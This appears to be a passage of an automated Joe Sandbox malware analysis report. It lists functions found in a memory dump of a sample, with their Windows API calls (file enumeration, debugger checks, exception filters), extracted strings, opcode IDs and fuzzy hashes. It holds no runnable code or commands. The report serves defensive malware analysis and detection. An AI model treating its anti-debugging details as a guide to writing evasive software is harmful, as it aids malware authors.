Instruction Fuzzy Hash: F072F77BFB59200BA74C887A8C663EB56C357E8715B1FE43E494AD7255ECBD8C060680

Function 00206460 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b0bfaf6c681b77f1afa7df557740fb38ccb51464f386d81a31fc5b04ad2319
Instruction ID: 3e69fae480c60aa2e7d70d807f09151554c6c735bd59f22a02390be55f2b9f2b
Opcode Fuzzy Hash: f3b0bfaf6c681b77f1afa7df557740fb38ccb51464f386d81a31fc5b04ad2319
Instruction Fuzzy Hash: 39024B71E1121A9FDF14CFA8C8846AEFBF5FF48314F248269D919A7381D731A925CB90

Function 00200D48 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00200E38

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: acd33c4ca5bc5244fbebe5c532047a9fe7696cbf3dd01d8fe843e123faa24f68
Instruction ID: 05451e26d474e5ab953a184d417ab11aae2ab2df8cc3301285755cee38d8efee
Opcode Fuzzy Hash: acd33c4ca5bc5244fbebe5c532047a9fe7696cbf3dd01d8fe843e123faa24f68
Instruction Fuzzy Hash: 2371D27191525AAFEF309F64CCCDBFAB7B8EB05300F1441D9E008A7292DA315E919F10

Function 001F3FE0 Relevance: 6.1, Strings: 4, Instructions: 1083COMMON

Download Yara Rule

Strings

EE, xrefs: 001F44E7
EE, xrefs: 001F4051
EE, xrefs: 001F4D27
xJ!, xrefs: 001F4D60

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID: EE$EE$EE$xJ!
API String ID: 0-3626210246
Opcode ID: ef17cd2783a86d2da901bbb14f0fcea71635f58ab623ab6d190332950e7c79c1
Instruction ID: 5edf9fe2af09f84d99f655b3a7d5f664c1c30d3369aa89cd6267fae6bc00124e
Opcode Fuzzy Hash: ef17cd2783a86d2da901bbb14f0fcea71635f58ab623ab6d190332950e7c79c1
Instruction Fuzzy Hash: 3962287BF659240BA70CC87A8CA63EB66C347E8714F1EE43E594AD7241DDBE8C064684

Function 001F60A4 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 001F60B0
IsDebuggerPresent.KERNEL32 ref: 001F617C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 001F619C
UnhandledExceptionFilter.KERNEL32(?), ref: 001F61A6

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 61883a0190a7cd3a51e2ff948fd2f8d7022afc5d5ab142a59197b5a51afeec1c
Instruction ID: fbc2f81273c69fb6a3e25d6716a7a0e47aecfc4294888835dd163eeefcb0b247
Opcode Fuzzy Hash: 61883a0190a7cd3a51e2ff948fd2f8d7022afc5d5ab142a59197b5a51afeec1c
Instruction Fuzzy Hash: 60313875D0531CDBDB20DFA0D989BDDBBB8AF18300F1041EAE50CAB250EB715A858F44

Function 001DFAF0 Relevance: 5.4, Strings: 2, Instructions: 2913COMMONLIBRARYCODE

Download Yara Rule

Strings

=Q4l, xrefs: 001E1A79
=Q4l, xrefs: 001E00C2

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID: =Q4l$=Q4l
API String ID: 0-665959848
Opcode ID: 05c36b65a42c0c8b81e1889ec25ae3cef0cbff6dff9f853fbee051b4c5bd7773
Instruction ID: 70f45abf21add3a2bf129636bfe5c85c22fd8fc81aeabebaacadec9b745a6899
Opcode Fuzzy Hash: 05c36b65a42c0c8b81e1889ec25ae3cef0cbff6dff9f853fbee051b4c5bd7773
Instruction Fuzzy Hash: 7B03FC6BBA55100FFB48847A88F93E75BC347E6314F1FB43A4999C7292DCAB844E5B40

Function 001DB6D0 Relevance: 5.2, Instructions: 5151COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3206fb947bf3f9e1652e09020d800031ca6a4fa63c88c9e64f19b32c4ad478a
Instruction ID: 0568a728b84c43103a0125b1034e499e76a960f197f39491d246bb8b0f8d01ee
Opcode Fuzzy Hash: f3206fb947bf3f9e1652e09020d800031ca6a4fa63c88c9e64f19b32c4ad478a
Instruction Fuzzy Hash: 0363F93BBA55101BFB48887984F93D71BC347E6314F2BB43A4999C7292DC6B884E9F50

Function 001FA5FA Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 001FA6F2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 001FA6FC
UnhandledExceptionFilter.KERNEL32(-00000325,?,?,?,?,?,00000000), ref: 001FA709

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 1109c96d01b86fb868f1871bf39fa4dfd3890c2e20dce6b8a79f56ba164990f3
Instruction ID: a3cc73067db96166bf8341cdd62ab09c1096a994dc55b034a33aeee8a1ea4347
Opcode Fuzzy Hash: 1109c96d01b86fb868f1871bf39fa4dfd3890c2e20dce6b8a79f56ba164990f3
Instruction Fuzzy Hash: E331B3B490121C9BCB21DF64D889BDDBBB4BF18350F5082EAE50CA7250EB749B858F45

Function 001DEFF0 Relevance: 4.5, APIs: 1, Strings: 1, Instructions: 964COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 001DFAE5

Strings

string too long, xrefs: 001DFAE0

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: string too long
API String ID: 909987262-2556327735
Opcode ID: 63f2d392b85c8bcc6b8213537b8ed0afccb8c4535e7ec62969431f65e243aaa6
Instruction ID: 6a8e0569c96fde792b2f77b275cc0be532fca3bf753083cc1fb0ef2306d7e45b
Opcode Fuzzy Hash: 63f2d392b85c8bcc6b8213537b8ed0afccb8c4535e7ec62969431f65e243aaa6
Instruction Fuzzy Hash: 5B420C7BBA19110BEB48887A9CEA3D75BC707E5314F1FE43E4959C7352DCAF840A5A40

Function 001EB120 Relevance: 3.6, Strings: 2, Instructions: 1111COMMON

Download Yara Rule

Strings

+?h, xrefs: 001EB14A
+?h, xrefs: 001EB20B

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID: +?h$+?h
API String ID: 0-1258444833
Opcode ID: 6f58bf3480a3574416e4c5e896e6d99ffa4073572368768c45d601aaa78434f4
Instruction ID: ef16bc2b114b703f8fe02347f981b13f34ab9d4f295395b448881d9c383656a2
Opcode Fuzzy Hash: 6f58bf3480a3574416e4c5e896e6d99ffa4073572368768c45d601aaa78434f4
Instruction Fuzzy Hash: BF62063BB956110FEB44893AD8F93D71BC347A6314F2AB43A8984CB392DD5B844E9F50

Function 001CF3C0 Relevance: 2.9, APIs: 1, Instructions: 1417COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70e0409cf14a46f6b3302268552255cf483099992e050f5168c7c6cbdcd308f7
Instruction ID: ce190164b26e7c1dcf274cd3bbfd21e2e0967572dc2181ef7cb2491bbcd6e5b6
Opcode Fuzzy Hash: 70e0409cf14a46f6b3302268552255cf483099992e050f5168c7c6cbdcd308f7
Instruction Fuzzy Hash: F982F43B7942105FEB448939C4ED3D72BD347E6314F2BA43A9988C7352D9AB884E9F50

Function 001E46D0 Relevance: 2.6, APIs: 1, Instructions: 1056COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 001E46F0

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ___std_exception_destroy
String ID:
API String ID: 4194217158-0
Opcode ID: 8fda8eede4ae011e769b95e92953378f06a73e88a4f331510ea3515c5a080b5b
Instruction ID: 839b09cd3a2ad9c8bb2f64bab7aab4b360b44fdb213060dcabaeadcc96950a64
Opcode Fuzzy Hash: 8fda8eede4ae011e769b95e92953378f06a73e88a4f331510ea3515c5a080b5b
Instruction Fuzzy Hash: 7952146BBA56501FEB49887984FA3D71BC347B7310F2BB43A4989C7282D89B444E9F40

Function 001E8200 Relevance: 2.3, Strings: 1, Instructions: 1088COMMON

Download Yara Rule

Strings

TQS, xrefs: 001E824B

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID: TQS
API String ID: 0-1955517775
Opcode ID: 93f3e315b37b2e474219dedb64c5b0160e6259fc26531ada62133b435d36455a
Instruction ID: cb997ba496244bbce9b6f40b0749e079393d0c86fc9f9b256c0565a5a0878503
Opcode Fuzzy Hash: 93f3e315b37b2e474219dedb64c5b0160e6259fc26531ada62133b435d36455a
Instruction Fuzzy Hash: 4962477BFB5A200BB708C8BA8C963EBA6C347D8314B1FE53E5959D7245DCBD8C065680

Function 001E55B0 Relevance: 2.1, Instructions: 2146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7201b12bebd0b47cf9903fcfc884488387921dc077d9d469eaa25638ec4c7db4
Instruction ID: fc4994cbe0304a32d00274fdd6fd944e239443dfe3c7c6b8189c826aef1c22e5
Opcode Fuzzy Hash: 7201b12bebd0b47cf9903fcfc884488387921dc077d9d469eaa25638ec4c7db4
Instruction Fuzzy Hash: 6AD24E7BFA5A100FEB48C87AC8A63EB67C347E5314F1EA43E5599C7351DC6E880A5B40

Function 0020A782 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0020A6DD,?,?,00000008,?,?,0020A2AF,00000000), ref: 0020A9AF

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 7386aaa861c061a7f171d752b32c3e93fed74b793f9786741d12975072f96594
Instruction ID: 56f336d0ae763e3c3592635c512ac7e300ba13bc4711ec308b091a3d95b2eb2f
Opcode Fuzzy Hash: 7386aaa861c061a7f171d752b32c3e93fed74b793f9786741d12975072f96594
Instruction Fuzzy Hash: E7B12B316207099FD715CF28C48AB657BA0FF45364F69C658E899CF2E2C335E9A2CB41

Function 00200C97 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FEBEE: HeapAlloc.KERNEL32(00000008,9C2BD565,9C2BD565,?,001FD397,00000001,00000364,9C2BD565,00000002,000000FF), ref: 001FEC2F

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00200E38
FindNextFileW.KERNEL32(00000000,?), ref: 00200F2C
FindClose.KERNEL32(00000000), ref: 00200F6B
FindClose.KERNEL32(00000000), ref: 00200F9E

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 524c2fb26d20b928ab6c2acdb07e7eae14ba0750da267fd22d801d8011b76f16
Instruction ID: 2a3852596c4a342b70134979eb99f466904995723f3d0e317b7bb00746f8fe80
Opcode Fuzzy Hash: 524c2fb26d20b928ab6c2acdb07e7eae14ba0750da267fd22d801d8011b76f16
Instruction Fuzzy Hash: BB51587591431AAFEB209F689CC5BFEB7B9DF45314F1441AAF40997283EA309E518B20

Function 001F5E5D Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 001F5E73

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 4cc27dce7f6db4b5c5dbed613b98fb754c15b4bc5a9e71b0be487cf3612471f4
Instruction ID: 9f62d66b505566587e14a42b5c08cb08b27a93469c949ccef66c8ddfacd6e4ff
Opcode Fuzzy Hash: 4cc27dce7f6db4b5c5dbed613b98fb754c15b4bc5a9e71b0be487cf3612471f4
Instruction Fuzzy Hash: A251EFB1E116199FEB14CF54E8897BEBBF2FB58304F25806AD614EB260DB74DA40CB50

Function 001F83C2 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 001F8546

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: bed937a74f8facf76d031f7eec81bd495c2a0881be7877cb698a9a80c5acbe0d
Instruction ID: ca711e2bf57e61f94d105fb187638603784cdf7014dec3cb8978259404d10aef
Opcode Fuzzy Hash: bed937a74f8facf76d031f7eec81bd495c2a0881be7877cb698a9a80c5acbe0d
Instruction Fuzzy Hash: DAB1B070A00A0F8BCB28CE68C555BBEBBA1AF15314F14061ED792E76A1DF35DE02CB51

Function 001F6098 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000461C0), ref: 001F609D

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8cbd5ebe5f22ae01fcf16f9b69ea963c856938043a0be6864c835b663ff29944
Instruction ID: 921c60c796a8b5cda34fde1ed2bccaae7d0188b6477eb94181071817353836da
Opcode Fuzzy Hash: 8cbd5ebe5f22ae01fcf16f9b69ea963c856938043a0be6864c835b663ff29944
Instruction Fuzzy Hash:

Function 001FD2D0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 001FD2D0

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 3cc659f8f8ed835f95b63effa1278339afba8155e17faa2aa60817602a528dd8
Instruction ID: 549bc02c03a5a0c869ac8ccc6ef80fa4de2e0a363ef6b12f7768447b20e14326
Opcode Fuzzy Hash: 3cc659f8f8ed835f95b63effa1278339afba8155e17faa2aa60817602a528dd8
